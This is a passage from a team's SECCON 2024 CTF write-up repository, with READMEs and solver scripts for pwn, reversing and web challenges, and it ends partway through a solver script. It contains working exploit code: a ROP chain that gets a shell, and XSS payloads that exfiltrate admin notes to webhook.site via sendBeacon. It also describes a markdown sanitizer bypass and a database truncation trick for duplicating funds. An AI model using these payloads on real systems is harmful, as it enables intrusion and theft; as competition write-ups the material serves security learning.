"": code}}}} 91 | payload = '[][[][[][[]]]][[][[][[]]]]([][[]])()' 92 | 93 | io.sendlineafter(b'Input JSON: ', json.dumps(data).encode()) 94 | io.sendlineafter(b'Input code: ', payload.encode()) 95 | io.interactive() 96 | ``` 97 | -------------------------------------------------------------------------------- /seccon2024/pwn_makeropgreatagain/README.md: -------------------------------------------------------------------------------- 1 | # Make ROP Great Again 2 | 3 | > PWN 4 | > 5 | > author:ShiftCrops 6 | > 7 | > 37 solves 8 | 9 | ## Vulnerability 10 | 11 | This is a very small binary and we are given source so it is easy to see that there is a stack buffer overflow that will allow us to ROP. However the challenge comes from the fact that the binary is so small, so there are few useful gadgets. 12 | 13 | ## Exploit 14 | 15 | The goal is to leak a libc address and jump to a one gadget to pop a shell. But the problem is that no `pop rdi` gadget exists in the binary, which is needed to provide an argument to function calls. One thing we are able to do is call `gets` and `puts`, which happen to leave pointers to `_IO_stdfile_0_lock` and `_IO_stdfile_1_lock` respectively in rdi. I do not understand these structures exactly, but when we call `gets` there appears to be 2 4-byte values followed by a pointer written to `_IO_stdfile_0_lock`. If we can call `puts` on this address we should leak the pointer. However, we need to fill in the first 8 bytes. This is the next problem, `gets` always appends a null byte, so we cannot leak the pointer this way. 16 | 17 | Except, each call to `gets` actually decrements the second int, so the subtraction can cause 0 in the LSB to become 0xff. So by writing the first null byte to the LSB of the second int, the decrement will allow a call to `puts` to leak the pointer. One small difficulty to overcome is that `gets` will hang if the pointer exists, so we must actually overwrite it with null bytes during setup. Here is the sequence I used to leak the pointer: 18 | 19 | 1. Write 0xff to the first 8 bytes of `_IO_stdfile_0_lock` and 0x00 to clear the pointer in the next 8 bytes 20 | 2. Write 4 characters to the buffer, when the null byte is appended it will be decremented, causing it to become 0xff 21 | 3. Call `puts` to leak the pointer 22 | 4. The pointer is mmap-relative, so we can calculate the libc base 23 | 5. Return to main to create a second ROP chain 24 | 25 | With the leak we can calculate the address of our one shot RCE gadget, jump to it, and get shell. 26 | 27 | ## Flag 28 | 29 | `SECCON{53771n6_rd1_w17h_6375_m4k35_r0p_6r347_4641n}` 30 | -------------------------------------------------------------------------------- /seccon2024/pwn_makeropgreatagain/solver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import argparse 4 | from pwn import * 5 | import subprocess 6 | import sys 7 | 8 | 9 | if not sys.warnoptions: 10 | import warnings 11 | warnings.simplefilter("ignore") 12 | 13 | context.log_level = 'warning' 14 | EXE = "./run_patched" 15 | HOSTNAME = "mrga.seccon.games" 16 | PORT = 7428 17 | 18 | def do_stuff(r, is_remote=False): 19 | main_start = 0x4011ad 20 | puts_call = 0x401060 21 | gets_call = 0x401080 22 | data = 0x404000 + 0x800 23 | clear_rax = 0x4011a6 24 | 25 | if is_remote: 26 | # solve PoW 27 | r.recvline() 28 | pow = r.recvlineS() 29 | print("Solving", pow) 30 | pow = subprocess.check_output(pow, shell=True).decode().strip() 31 | print(pow) 32 | r.sendlineafter(":", pow) 33 | 34 | rop = [ 35 | p64(gets_call), # overwrite lock pointer 36 | p64(gets_call), # write into second int 37 | p64(puts_call), # leak address 38 | p64(main_start) # get more input 39 | ] 40 | r.sendlineafter(b">", b"A" * 0x10 + b"B"*8 + b"".join(rop)) 41 | r.sendline(b"\xff" * 0x8 + b"\0" * 8) 42 | r.sendline(b"AAAB") 43 | 44 | r.recvuntil(b"AAAB") 45 | r.recv(4) 46 | addr = u64(r.recv(8)[:6] + b"\0\0") 47 | print("addr", hex(addr)) 48 | 49 | base = (addr - 0x740) + 0x3000 50 | oneshot = base + 0xef52b 51 | print("base", hex(base)) 52 | print("gadget", hex(oneshot)) 53 | r.sendline(b"A" * 0x10 + p64(data) + p64(clear_rax) + p64(data) + p64(oneshot) * 4 + b"A"*8) 54 | 55 | r.interactive() 56 | 57 | 58 | parser = argparse.ArgumentParser(description="Template PWNtools script.") 59 | group = parser.add_mutually_exclusive_group() 60 | group.add_argument("--remote", action="store_true", help="Connect to remote host", default=False) 61 | group.add_argument("--debug", action="store_true", help="Debug the local executable with a given command file", default=False) 62 | args = parser.parse_args(sys.argv[1:]) 63 | 64 | if args.remote: 65 | r = remote(HOSTNAME, PORT) 66 | do_stuff(r, True) 67 | r.close() 68 | elif args.debug: 69 | r = gdb.debug(EXE, "b main") 70 | do_stuff(r) 71 | r.close() 72 | else: 73 | r = process(EXE) 74 | do_stuff(r) 75 | r.close() 76 | -------------------------------------------------------------------------------- /seccon2024/rev_fisforflag/screenshot1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mmm-team/public-writeups/d592f318b5daa813b89d4b1bae323862fda911de/seccon2024/rev_fisforflag/screenshot1.png -------------------------------------------------------------------------------- /seccon2024/rev_fisforflag/screenshot2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mmm-team/public-writeups/d592f318b5daa813b89d4b1bae323862fda911de/seccon2024/rev_fisforflag/screenshot2.png -------------------------------------------------------------------------------- /seccon2024/rev_fisforflag/screenshot3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mmm-team/public-writeups/d592f318b5daa813b89d4b1bae323862fda911de/seccon2024/rev_fisforflag/screenshot3.png -------------------------------------------------------------------------------- /seccon2024/rev_fisforflag/screenshot4-mod.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mmm-team/public-writeups/d592f318b5daa813b89d4b1bae323862fda911de/seccon2024/rev_fisforflag/screenshot4-mod.png -------------------------------------------------------------------------------- /seccon2024/rev_fisforflag/screenshot4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mmm-team/public-writeups/d592f318b5daa813b89d4b1bae323862fda911de/seccon2024/rev_fisforflag/screenshot4.png -------------------------------------------------------------------------------- /seccon2024/rev_fisforflag/screenshot5-xor.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mmm-team/public-writeups/d592f318b5daa813b89d4b1bae323862fda911de/seccon2024/rev_fisforflag/screenshot5-xor.png -------------------------------------------------------------------------------- /seccon2024/rev_fisforflag/screenshot6-rotate.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mmm-team/public-writeups/d592f318b5daa813b89d4b1bae323862fda911de/seccon2024/rev_fisforflag/screenshot6-rotate.png -------------------------------------------------------------------------------- /seccon2024/rev_jump/README.md: -------------------------------------------------------------------------------- 1 | ## Jump - Reversing Problem - @ubuntor, @nneonneo 2 | 3 | Jump was a reversing challenge solved by 69 teams, worth 118 points. 4 | 5 | Description: 6 | 7 | > Who would have predicted that ARM would become so popular? 8 | > 9 | > ※ We confirmed the binary of Jump accepts multiple flags. The SHA-1 of the correct flag is c69bc9382d04f8f3fbb92341143f2e3590a61a08 We're sorry for your patience and inconvenience 10 | > 11 | > Jump.tar.gz 2040eea8d701ec57a9f38b204b443487e482c5fe 12 | 13 | We're given a small AArch64 Linux binary which checks the flag provided as its first argument. 14 | 15 | ## Solution 16 | 17 | The binary implements a simple obfuscation: certain jumps have been replaced with a code sequence that writes to register `x30` (the link register), then `ret`. `ret` is essentially just `br x30`, so this performs a jump to an arbitrary address, but most decompilers will analyze it as a function return and consequently cut the function off at the `ret`. For example: 18 | 19 | Thus, when first opening the binary in e.g. Ghidra, we see this decompilation for `main`: 20 | 21 | ```c 22 | char * FUN_00400ddc(int argc,char **argv) 23 | 24 | { 25 | if (argc == 2) { 26 | return argv[1]; 27 | } 28 | puts("Incorrect"); 29 | return NULL; 30 | } 31 | ``` 32 | 33 | However, the `argc == 2` branch contains the following assembly code at the "end": 34 | 35 | ``` 36 | 00400e18 9e f1 ff 10 adr x30,0x400c48 37 | 00400e1c e0 03 40 f9 ldr x0,[sp]=>local_30 38 | 00400e20 c0 03 5f d6 ret 39 | ``` 40 | 41 | This is actually just a jump to 0x400c48, but Ghidra mistakenly analyzes it as a function return. 42 | 43 | We can tell Ghidra to explicitly analyze `ret` as a simple jump by patching Ghidra's AArch64 disassembler (SLEIGH code) as follows: 44 | 45 | ```diff 46 | diff --git a/Ghidra/Processors/AARCH64/data/languages/AARCH64base.sinc b/Ghidra/Processors/AARCH64/data/languagesARCH64base.sinc 47 | index 5370387..304f286 100755 48 | --- a/Ghidra/Processors/AARCH64/data/languages/AARCH64base.sinc 49 | +++ b/Ghidra/Processors/AARCH64/data/languages/AARCH64base.sinc 50 | @@ -4867,7 +4867,7 @@ is b_2531=0x6b & b_2324=0 & b_2122=2 & b_1620=0x1f & b_1015=0 & Rn_GPR64 & b_000 51 | is b_2531=0x6b & b_2324=0 & b_2122=2 & b_1620=0x1f & b_1015=0 & aa_Xn=30 & b_0004=0 52 | { 53 | pc = x30; 54 | - return [pc]; 55 | + goto [pc]; 56 | } 57 | 58 | # C6.2.255 RETAA, RETAB page C6-1731 line 102135 MATCH xd65f0bff/mask=xfffffbff 59 | ``` 60 | 61 | With this change applied, Ghidra produces much nicer decompilation; the decompiled output (with functions renamed) can be found in [`jump.c`](jump.c). 62 | 63 | We can see that the binary implements a simple state machine. In state "2" it will perform one of eight checks on a 4-byte chunk of the flag, with the index incrementing by four each time. Note that there's a bug in the binary: it flips back and forth between state "1" and state "2", but actually increments the index by 4 on each state transition - meaning that it ends up only checking half of the input. 64 | 65 | All we need to do is reverse the eight (simple) checks to recover the corresponding chunks of the flag, and we're done. This can be accomplished with the following script: 66 | 67 | ```python 68 | flag = [None] * 8 69 | flag[0] = 0x43434553 70 | flag[1] = 0x357b4e4f 71 | flag[2] = 0x336b3468 72 | flag[3] = 0x5f74315f 73 | flag[4] = -0x6b2c5e2c - flag[3] 74 | flag[5] = -0x626b6223 - flag[4] 75 | flag[6] = -0x62629d6b - flag[5] 76 | flag[7] = 0x47cb363b + flag[6] 77 | 78 | import struct 79 | print(struct.pack("<8I", *[f & 0xffffffff for f in flag])) 80 | ``` 81 | 82 | which yields the flag `SECCON{5h4k3_1t_up_5h-5h-5h5hk3}`. 83 | -------------------------------------------------------------------------------- /seccon2024/rev_qrackv/solve_fast.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | checkdata = b'\x9e\x1f\xc5\xb8\x10\x81%\xc1_\xd35\xbb\xf8Tc\xa8\x18\x80\\M?\xcbl\xb1\xa0\x0b2\xb4t\xd0>\x80\xd8HM?\xd6\x8c\x964\x11\xd4?\xb8*\xff\xd4\n\x7f\xc6D\x82\xbe,g\x02B\x1eX\xce\xf1\x02\xd3!\xef\x92\xde\x19#8\x86P\xba\x8e\xca\xc6\xe7\x9c\x1f\xc4\xf9\x7f$\xc7\x0b 4\xd59R\xb745\x88$\xe4\xa1\xef\xc6;\xf5\x93J\x10\x13\xcf\xf3\xcf\xc2\x99)\x91\x80\xc4\x8b\x99\xd0\x8b\x17x\xb8\xb2\xff\xb8sL}~]nQd\xb8\x0b\xa8\xcb\xe9\\\xa2lv\xcf\xbb\xe5\xf5-\x17\x9c\xe7\xbc{\x08\xc7\xa0\xe9\xeeO0\xcb#~\xde\xbb\xb6\x04\x91\xc0\xcaM\xe5.\xc7_\xfe\xd6\xee/\x15L\xdd.\xd80\xc3\'\xa1\x1a\x81\x8f"U\x0b\xd25\xd8EAH\xcb\xc8J8\xa1\xe9\x9dh-\xf6\xa7\x1c0vp5\xfe\xf28\xbd[K\x06\xb9\x01\xb7\xd30\xafhI\x93\x18D' 4 | check = [] 5 | for i in range(9): 6 | index = pow(3, i+1, 29) 7 | check.append(u64(checkdata[index*8:index*8+8])) 8 | 9 | import itertools 10 | 11 | flag = b'' 12 | 13 | for i in range(9): 14 | x = check[i] 15 | x = ((x - 0x9A10A8B923AC8BF) * pow(0x9282F38FD9DE6BB, -1, 0xFFFFFFFFFFFFFFC5)) % 0xFFFFFFFFFFFFFFC5 16 | x = p64(x) 17 | for p in itertools.permutations(x): 18 | p = u64(bytes(p)) 19 | p = ((p - 0x9A10A8B923AC8BF) * pow(0x9282F38FD9DE6BB, -1, 0xFFFFFFFFFFFFFFC5)) % 0xFFFFFFFFFFFFFFC5 20 | p = p64(p) 21 | if all(c in b'SECCON{0123456789abcdef}' for c in p): 22 | flag += p 23 | print(flag) 24 | break 25 | else: 26 | print('bad?') 27 | 1/0 28 | -------------------------------------------------------------------------------- /seccon2024/rev_reaction/README.md: -------------------------------------------------------------------------------- 1 | # Reaction Rev, 233 points 2 | 3 | _Writeup by @ubuntor and [@bluepichu](https://github.com/bluepichu)_ 4 | 5 | We're given a C++ binary with symbols. (yay!) 6 | 7 | After reversing `main` and `Environment::set()`, we notice that `main` sets up a 14x14 `vector>` board and `Environment::set()` generates 2 random bytes (1~4) and places them in the board based on the input we give it as follows: 8 | ``` 9 | server sends random 2 bytes 10 | server receives 2 bytes: index, orientation 11 | 12 | if orientation == 0: 13 | if pos >= 14: fail 14 | for i in range(2): 15 | index = 14-i-1 16 | if board[index][pos] != 0: fail 17 | board[index][pos] = random[i] 18 | elif orientation == 1: 19 | if pos >= 14-1: fail 20 | for i in range(2): 21 | index = 14-1 22 | if board[index][pos+i] != 0: fail 23 | board[index][pos+i] = random[i] 24 | elif orientation == 2: 25 | if pos >= 14: fail 26 | for i in range(2): 27 | index = 14+i-2 28 | if board[index][pos] != 0: fail 29 | board[index][pos] = random[i] 30 | elif orientation == 3: 31 | if pos >= 14-1: fail 32 | for i in range(2): 33 | index = 14-1 34 | if board[index][pos+1-i] != 0: fail 35 | board[index][pos+1-i] = random[i] 36 | ``` 37 | 38 | We can dump the board before and after our input: 39 | ```python 40 | from pwn import * 41 | context.log_level = 'debug' 42 | context.terminal = ['gnome-terminal', '--window', '--'] 43 | 44 | def deref32(x): 45 | return x.cast(g.lookup_type('int').pointer()).dereference() 46 | 47 | def deref64(x): 48 | return x.cast(g.lookup_type('long').pointer()).dereference() 49 | 50 | p = gdb.debug('./chemic', api=True) 51 | g = p.gdb 52 | 53 | g.execute("break *('Environment::update()'+21)") # before Environment::set() 54 | g.execute("break *('Environment::update()'+26)") # after Environment::set() 55 | 56 | chars = '.1234' 57 | 58 | # assuming static 14x14 59 | def print_board(): 60 | board = g.parse_and_eval('$rbx+0x18') 61 | num_rows = int(deref64(board+8) - deref64(board))//24 62 | rows = deref64(board) 63 | for r in range(14): 64 | row = deref64(rows + 24*r) 65 | for c in range(14): 66 | print(chars[int(deref32(row + 4*c))], end='') 67 | print() 68 | print('-'*14) 69 | 70 | while True: 71 | g.continue_and_wait() 72 | print_board() 73 | g.continue_nowait() 74 | print(p.recv(2)) 75 | p.send(b'\x01\x01') 76 | g.wait() 77 | print_board() 78 | ``` 79 | 80 | It looks like we're placing random dominos on the top row of the board, which then fall and do stuff. 81 | 82 | Based on the description of the program up to this point, one of our team members recognized it as probably being an implementation of Puyo Puyo, albeit with a 14x14 board instead of the standard 6x14 board. At this point we had a pretty good idea that the goal was to get at least a 14-chain, and then send an invalid input to end the game. 83 | 84 | We wrote [an interactive solver](./solve.py) that lets the user interactively play the game, optionally starting by playing a log from a previous attempt. This is based on a theoretical "correct" Puyo implementation, rather than a full reverse-engineering of the game's logic. It turns out that this is actually different in some cases, and our first attempt at a 16-chain failed because the game handles simultaneous clears differently from an actual Puyo game. We played a little more carefully on a second attempt and were able to finish the game and get the flag with a simple staircase 14-chain: 85 | 86 | https://github.com/user-attachments/assets/3987c8ee-b8f7-4be1-b1ac-5b9b54e3b9d0 87 | -------------------------------------------------------------------------------- /seccon2024/rev_reaction/solve.mov: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mmm-team/public-writeups/d592f318b5daa813b89d4b1bae323862fda911de/seccon2024/rev_reaction/solve.mov -------------------------------------------------------------------------------- /seccon2024/web_javascrypto/JavaScrypto.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mmm-team/public-writeups/d592f318b5daa813b89d4b1bae323862fda911de/seccon2024/web_javascrypto/JavaScrypto.tar.gz -------------------------------------------------------------------------------- /seccon2024/web_javascrypto/solve/attack/controller_template.js: -------------------------------------------------------------------------------- 1 | (async () => { 2 | const beacon = "{{BEACON_PLACEHOLDER}}"; 3 | 4 | console.log("controller activated"); 5 | async function sleep(ms) { 6 | return new Promise(resolve => setTimeout(resolve, ms)); 7 | } 8 | 9 | window.addEventListener("DOMContentLoaded", async () => { 10 | navigator.sendBeacon(beacon, "controller activated"); 11 | navigator.sendBeacon(beacon, window.location.href); 12 | const xssSource = `{{XSS_PLACEHOLDER}}`; 13 | const xssIframe = document.createElement("iframe"); 14 | xssIframe.src = xssSource; 15 | document.body.appendChild(xssIframe); 16 | }); 17 | })(); -------------------------------------------------------------------------------- /seccon2024/web_javascrypto/solve/attack/index.html: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /seccon2024/web_javascrypto/solve/attack/index2.html: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /seccon2024/web_javascrypto/solve/gen_crypto.js: -------------------------------------------------------------------------------- 1 | const CryptoJS = require('./crypto-js'); 2 | const key = "CTQcvxlbghhVqP6rNPnF0w=="; // random key that we do not control for test purposes 3 | 4 | const base64Charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; 5 | let plaintext = atob(process.argv[2]) || "helloworld"; 6 | 7 | const newReverseMap = []; 8 | for (var j = 0; j < base64Charset.length; j++) { 9 | newReverseMap[base64Charset.charCodeAt(j)] = 0; 10 | } 11 | 12 | let newBase64Alphabet = base64Charset; 13 | let normalBase64ToNewBase64 = {}; 14 | for (let i = 0; i < base64Charset.length; i++) { 15 | newBase64Alphabet = newBase64Alphabet.substr(0, i) + String.fromCharCode(base64Charset.charCodeAt(i) + 128) + newBase64Alphabet.substr(i + 1); 16 | } 17 | 18 | for (let i = 0; i < newBase64Alphabet.length; i++) { 19 | normalBase64ToNewBase64[base64Charset[i]] = newBase64Alphabet[i]; 20 | newReverseMap[newBase64Alphabet.charCodeAt(i)] = i; 21 | } 22 | 23 | // step 2. encode and encrypt a message with null keys 24 | 25 | const encryptNote = ({ plaintext }) => { 26 | const zero16bytes = 'AAAAAAAAAAAAAAAAAAAAAA=='; 27 | const rawKey = CryptoJS.enc.Base64.parse(zero16bytes); 28 | const rawIv = CryptoJS.enc.Base64.parse(zero16bytes); 29 | const rawSalt = CryptoJS.lib.WordArray.random(16); 30 | const rawCiphertext = CryptoJS.AES.encrypt(plaintext, rawKey, { 31 | iv: rawIv, 32 | salt: rawSalt, 33 | }).ciphertext; 34 | return { 35 | iv: rawIv.toString(CryptoJS.enc.Base64), 36 | ciphertext: rawCiphertext.toString(CryptoJS.enc.Base64), 37 | } 38 | } 39 | 40 | let ciphertext = ""; 41 | while (true) { 42 | const encrypted = encryptNote({ "plaintext": plaintext }); 43 | let ciphertextRes = encrypted.ciphertext; 44 | if (ciphertextRes.indexOf("=") === -1) { 45 | ciphertext = ciphertextRes; 46 | break // does not have padding, good 47 | } else { 48 | plaintext += "a"; // add a character to the plaintext 49 | } 50 | } 51 | 52 | let newCiphertext = ""; 53 | for (let i = 0; i < ciphertext.length; i++) { 54 | newCiphertext += normalBase64ToNewBase64[ciphertext[i]]; 55 | } 56 | let newReverseMapDict = {}; 57 | for (let i = 0; i < newReverseMap.length; i++) { 58 | if (newReverseMap[i] !== undefined) { 59 | newReverseMapDict[i] = newReverseMap[i]; 60 | } 61 | } 62 | console.log(JSON.stringify(newReverseMapDict)); 63 | console.log() 64 | console.log("AAAAAAAAAAAAAAAAAAAAAA=="); 65 | console.log() 66 | console.log(btoa(newCiphertext)); -------------------------------------------------------------------------------- /seccon2024/web_javascrypto/solve/script.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import json 3 | import asyncio 4 | import base64 5 | import subprocess 6 | 7 | # CHALL_URL='http://localhost:3000' 8 | CHALL_URL='http://javascrypto.seccon.games:3000' 9 | BEACON = "http://webhook.site/" 10 | # TARGET_URL='http://javascrypto.seccon.games:3000' 11 | TARGET_URL='http://web:3000' 12 | 13 | async def main(): 14 | with open("xss_script.js", "r") as f: 15 | script = f.read() 16 | script = script.replace("{{BEACON_PLACEHOLDER}}", BEACON).replace("{{TARGET_PLACEHOLDER}}", TARGET_URL) 17 | xss_link = gen_xss_payload(script) 18 | with open("attack/controller_template.js", "r") as f: 19 | controller_template = f.read() 20 | controller_template = controller_template.replace("{{XSS_PLACEHOLDER}}", xss_link).replace("{{BEACON_PLACEHOLDER}}", BEACON) 21 | with open("attack/controller.js", "w") as f: 22 | f.write(controller_template) 23 | 24 | def gen_xss_payload(script): # takes raw script 25 | script = base64.b64encode(script.encode()).decode() 26 | orig_text = f"""""" 27 | output = subprocess.check_output(f"node gen_crypto.js {base64.b64encode(orig_text.encode()).decode()}", shell=True) 28 | output = output.decode() 29 | parts = output.split("\n\n") 30 | reverse_map = json.loads(parts[0]) 31 | iv = parts[1].strip() 32 | ciphertext = parts[2].strip() 33 | ciphertext = base64.b64decode(ciphertext).decode('latin1') 34 | 35 | r = requests.post(f"{CHALL_URL}/note", json={ 36 | 'iv': iv, 37 | 'ciphertext': ciphertext, 38 | }) 39 | id = r.json()['id'] 40 | visit_url = f"{TARGET_URL}?" 41 | for k, v in reverse_map.items(): 42 | visit_url += f"__proto__[_reverseMap][{k}]={v}&" 43 | visit_url += f"id={id}" 44 | return visit_url 45 | 46 | 47 | if __name__ == '__main__': 48 | asyncio.run(main()) -------------------------------------------------------------------------------- /seccon2024/web_javascrypto/solve/solve_chal.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | tmux new-session -s solve_chal \; \ 4 | split-window -h \; \ 5 | split-window -v \; \ 6 | send-keys -t solve_chal:0.0 "ngrok http 8001" C-m \; \ 7 | send-keys -t solve_chal:0.1 "cd attack && python3 -m http.server 8001" C-m \; \ 8 | send-keys -t solve_chal:0.2 "python3 script.py" C-m 9 | 10 | # ngrok is a placeholder here and does not actually work because it'll auto redirect to https 11 | # i used a cloudflare tunnel instead -------------------------------------------------------------------------------- /seccon2024/web_javascrypto/solve/xss_script.js: -------------------------------------------------------------------------------- 1 | (async () => { 2 | const beacon = "{{BEACON_PLACEHOLDER}}"; 3 | async function sleep(ms) { 4 | return new Promise(resolve => setTimeout(resolve, ms)); 5 | } 6 | window.addEventListener("DOMContentLoaded", async () => { 7 | try { 8 | navigator.sendBeacon(beacon, "inner script activated"); 9 | let w = window.open("{{TARGET_PLACEHOLDER}}"); 10 | await sleep(500); 11 | const note = w.document.querySelector("#note"); 12 | console.log(note.innerHTML) 13 | navigator.sendBeacon(beacon,note.innerHTML); 14 | } catch (e) { 15 | navigator.sendBeacon(beacon, e.toString()); 16 | } 17 | }); 18 | })(); 19 | -------------------------------------------------------------------------------- /seccon2024/web_tanuki_udon/README.md: -------------------------------------------------------------------------------- 1 | ## tanuki udon - @disna 2 | 3 | * web 4 | * 41 solves 5 | * 149 points 6 | 7 | > Inspired by [Udon (TSG CTF 2021)](https://github.com/tsg-ut/tsgctf2021/tree/main/web/udon) 8 | > 9 | > Challenge: http://tanuki-udon.seccon.games:3000 10 | > 11 | > Admin bot: http://tanuki-udon.seccon.games:1337 12 | > 13 | > [Tanuki_Udon.tar.gz](tanuki_udon.tar.gz) c176e73baabeac73110e9edef582624e773713e9 14 | > 15 | > author: Satoooon 16 | 17 | (Forewarning: the file we downloaded does not have the same checksum as what is written in the challenge description) 18 | 19 | `Tanuki Udon` is a simple note app, where the goal is to steal a note containing the flag that an admin bot creates. At a glance we see that these notes are reflected raw to the user, bar a `markdown(content)` pass, and so offers an inviting XSS sink: 20 | 21 | ```ejs 22 |
23 | <%- note.content %> 24 |
25 | ``` 26 | _note.ejs_ 27 | 28 | ```js 29 | app.get('/note/:noteId', (req, res) => { 30 | const { noteId } = req.params; 31 | const note = db.getNote(noteId); 32 | if (!note) return res.status(400).send('Note not found'); 33 | res.render('note', { note }); 34 | }); 35 | 36 | app.post('/note', (req, res) => { 37 | const { title, content } = req.body; 38 | req.user.addNote(db.createNote({ title, content: markdown(content) })); 39 | res.redirect('/'); 40 | }); 41 | ``` 42 | _index.js_ 43 | 44 | ```js 45 | const escapeHtml = (content) => { 46 | return content 47 | .replaceAll('&', '&') 48 | .replaceAll(`"`, '"') 49 | .replaceAll(`'`, ''') 50 | .replaceAll('<', '<') 51 | .replaceAll('>', '>'); 52 | } 53 | 54 | const markdown = (content) => { 55 | const escaped = escapeHtml(content); 56 | return escaped 57 | .replace(/!\[([^"]*?)\]\(([^"]*?)\)/g, `$1`) 58 | .replace(/\[(.*?)\]\(([^"]*?)\)/g, `$1`) 59 | .replace(/\*\*(.*?)\*\*/g, `$1`) 60 | .replace(/ $/mg, `
`); 61 | } 62 | ``` 63 | _markdown.js_ 64 | 65 | Quotes in user input are sanitized to prevent context escape (e.g., escape `src` attribute value context to define a new attribute), but this is bypasseable by nesting markdown elements within each other; `![[AAA](BBB)](CCC)` transforms into ``<span style=``"CCC">``AAA" src="BBB">`, where `CCC` is parsed as an attribute name, and which we fully control. 66 | 67 | A common XSS trick is to set both `src=x` and `onload=""`, but we do not get quotes, and we cannot use closing round brackets i.e., `)` because it messes with `.replace`. So, we make sure our `onerror` payload does not contain spaces, and we use [tagged template literals](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals#tagged_templates) to call functions instead: 68 | 69 | ```python 70 | base64_payload = base64.b64encode(script.encode()).decode() 71 | payload = f"![![AAA](BBB)](src=x onerror=a=atob`{base64_payload}`;eval.call`a${{a}}`//)" 72 | ``` 73 | 74 | Then with unrestricted XSS on the challenge domain, it's just a matter of grabbing the list of notes from `/`, navigating to admin's flag note, and exfiltrating it to ourselves. [Solve script](script.py) here. 75 | 76 | `SECCON{Firefox Link = Kitsune Udon <-> Chrome Speculation-Rules = Tanuki Udon}` 77 | 78 | (fwiw, this is an unintended solution as the challenge had a lot more bells and whistles to it than just the parts shown here, but flag is flag :P) -------------------------------------------------------------------------------- /seccon2024/web_tanuki_udon/script.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import asyncio 3 | import base64 4 | from bs4 import BeautifulSoup 5 | 6 | CHALL_URL='http://tanuki-udon.seccon.games:3000' 7 | 8 | BEACON = "https://webhook.site/" 9 | 10 | def main(): 11 | script = """ 12 | (async () => { 13 | const res = await fetch("/"); 14 | const body = await res.text(); 15 | const parser = new DOMParser(); 16 | const parsed = parser.parseFromString(body, 'text/html'); 17 | const anchors = parsed.querySelectorAll('a'); 18 | const goodAnchors = Array.from(anchors).filter(anchor => anchor.getAttribute('href') !== '/clear'); 19 | const note = goodAnchors[0].getAttribute('href'); 20 | const flagReq = await fetch(note); 21 | const flag = await flagReq.text(); 22 | navigator.sendBeacon('""" + BEACON + """', flag); 23 | })(); 24 | """.strip() 25 | base64_payload = base64.b64encode(script.encode()).decode() 26 | payload = f"![![AAA](BBB)](src=x onerror=a=atob`{base64_payload}`;eval.call`a${{a}}`//)" 27 | r = requests.post(f"{CHALL_URL}/note", data={ 28 | "title": "owo", 29 | "content": payload 30 | }) 31 | soup = BeautifulSoup(r.text, 'html.parser') 32 | anchor_href = soup.find('a')['href'] 33 | print(f"http://web:3000{anchor_href}") 34 | 35 | 36 | if __name__ == '__main__': 37 | main() -------------------------------------------------------------------------------- /seccon2024/web_tanuki_udon/tanuki_udon.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mmm-team/public-writeups/d592f318b5daa813b89d4b1bae323862fda911de/seccon2024/web_tanuki_udon/tanuki_udon.tar.gz -------------------------------------------------------------------------------- /seccon2024/web_trillion_bank/README.md: -------------------------------------------------------------------------------- 1 | # Trillion Bank Web, 108 points 2 | 3 | _Writeup by [@bluepichu](https://github.com/bluepichu)_ 4 | 5 | The server implements a simple money transfer API. New accounts are given $10 to start, and you can get the flag if you can get an account to have at least $1,000,000,000,000. 6 | 7 | My first thought was a race condition on transfers, allowing a transfer from A to B and B to A simultaneously, resulting in funds being duplicated. However, the transfer endpoint properly locks the source user before transferring funds, so all this accomplishes is a deadlock. 8 | 9 | The next thing I noticed is that the transfer endpoint identifies recipient users by their username rather than by ID, and the database schema does not have a uniqueness constraint on users. However, the server maintains its own in-memory list of usernames, so creating two users with the same username should not be possible. This gives rise to two plans of attack: 10 | 11 | 1. Create a user with a known username, then crash the server to clear its in-memory list of usernames, and then create a second user with that username. 12 | 2. Create two users with different usernames that the database normalizes to the same value. 13 | 14 | Option 2 turned out to be the way to go, since MySQL will silently truncate text fields to 65535 characters if they are too long. In contrast, the in-memory list of usernames can store usernames of any length. 15 | 16 | The full attack is: 17 | 18 | 1. Create three users that we'll call A, B, and C. A's username can be anything, but B and C must both lave length greater than 65535 characters start with a common 65535-character prefix. 19 | 2. Repeatedly do the following: 20 | a. Transfer all funds in account A to the common 65535-character prefix of B and C. This will cause the funds to be sent to both B and C. 21 | b. Transfer all funds in accounts B and C to account A. The net result is that double the funds will be in A than were there when we started. 22 | 3. Repeat step 2 until account A has at least $1,000,000,000,000, and retrieve the flag: `SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000}`. 23 | 24 | My solution script can be found in [solve.mjs](./solve.mjs). 25 | -------------------------------------------------------------------------------- /seccon2024/web_trillion_bank/solve.mjs: -------------------------------------------------------------------------------- 1 | import { randomBytes } from "crypto"; 2 | 3 | const randomId = () => randomBytes(16).toString("hex"); 4 | // const baseUrl = "http://localhost:3000"; 5 | const baseUrl = "http://trillion.seccon.games:3000"; 6 | 7 | // Some helpers 8 | const register = async (name) => { 9 | console.log("Registering", name); 10 | const res = await fetch(`${baseUrl}/api/register`, { 11 | method: "POST", 12 | headers: { "Content-Type": "application/json" }, 13 | body: JSON.stringify({ name }), 14 | }); 15 | // Return the cookie 16 | console.log(await res.json()); 17 | return res.headers.get("set-cookie").split(";")[0]; 18 | }; 19 | 20 | const checkBalance = async (cookie) => { 21 | const res = await fetch(`${baseUrl}/api/me`, { 22 | headers: { 